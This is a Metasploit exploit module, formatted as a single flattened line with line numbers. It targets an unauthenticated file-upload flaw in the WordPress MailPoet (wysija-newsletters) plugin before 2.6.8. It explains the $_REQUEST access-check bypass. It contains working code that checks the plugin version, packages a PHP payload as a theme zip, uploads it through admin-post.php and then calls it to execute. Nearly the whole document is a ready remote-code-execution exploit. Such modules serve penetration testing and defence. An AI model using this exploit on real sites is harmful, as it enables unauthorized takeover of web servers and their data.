1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload', 'Description'=> %q{ The WordPress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8 is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme functionality to upload a zip file containing the payload. The plugin used the admin_init hook, which is also executed for unauthenticated users when accessing a specific URL. The developers tried to fix the vulnerablility in version 2.6.7 but the fix can be bypassed. In PHPs default configuration, a POST variable overwrites a GET variable in the $_REQUEST array. The plugin uses $_REQUEST to check for access rights. By setting the POST parameter to something not beginning with 'wysija_', the check is bypassed. WordPress uses the $_GET array to determine the page and is so not affected by this. }, 'Author' => [ 'Marc-Alexandre Montpas', # initial discovery 'Christian Mehlmauer' # metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ], [ 'URL', 'http://www.mailpoet.com/security-update-part-2/'], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets'=> [ ['wysija-newsletters < 2.6.8', {}] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jul 1 2014')) end def create_zip_file(theme_name, payload_name) # the zip file must match the following: #-) Exactly one folder representing the theme name #-) A style.css in the theme folder #-) Additional files in the folder content = { ::File.join(theme_name, 'style.css') => '', ::File.join(theme_name, payload_name) => payload.encoded } zip_file = Rex::Zip::Archive.new content.each_pair do |name, content| zip_file.add_file(name, content) end zip_file.pack end def check readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt') res = send_request_cgi({ 'uri'=> readme_url, 'method' => 'GET' }) # no readme.txt present if res.nil? || res.code != 200 return Msf::Exploit::CheckCode::Unknown end # try to extract version from readme # Example line: # Stable tag: 2.6.6 version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1] # readme present, but no version number if version.nil? return Msf::Exploit::CheckCode::Detected end print_status("#{peer} - Found version #{version} of the plugin") if Gem::Version.new(version) < Gem::Version.new('2.6.8') return Msf::Exploit::CheckCode::Appears else return Msf::Exploit::CheckCode::Safe end end def exploit theme_name = rand_text_alpha(10) payload_name = "#{rand_text_alpha(10)}.php" zip_content = create_zip_file(theme_name, payload_name) uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php') data = Rex::MIME::Message.new data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"") data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"') data.add_part('themeupload', nil, nil, 'form-data; name="action"') data.add_part('Upload', nil, nil, 'form-data; name="submitter"') data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"') post_data = data.to_s payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name) print_status("#{peer} - Uploading payload to #{payload_uri}") res = send_request_cgi({ 'method' => 'POST', 'uri'=> uri, 'ctype'=> "multipart/form-data; boundary=#{data.bound}", 'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' }, 'data' => post_data }) if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1' fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end # Files to cleanup (session is dropped in the created folder): # style.css # the payload # the theme folder (manual cleanup) register_files_for_cleanup('style.css', payload_name) print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.") print_status("#{peer} - Executing payload #{payload_uri}") res = send_request_cgi({ 'uri'=> payload_uri, 'method' => 'GET' }) end end |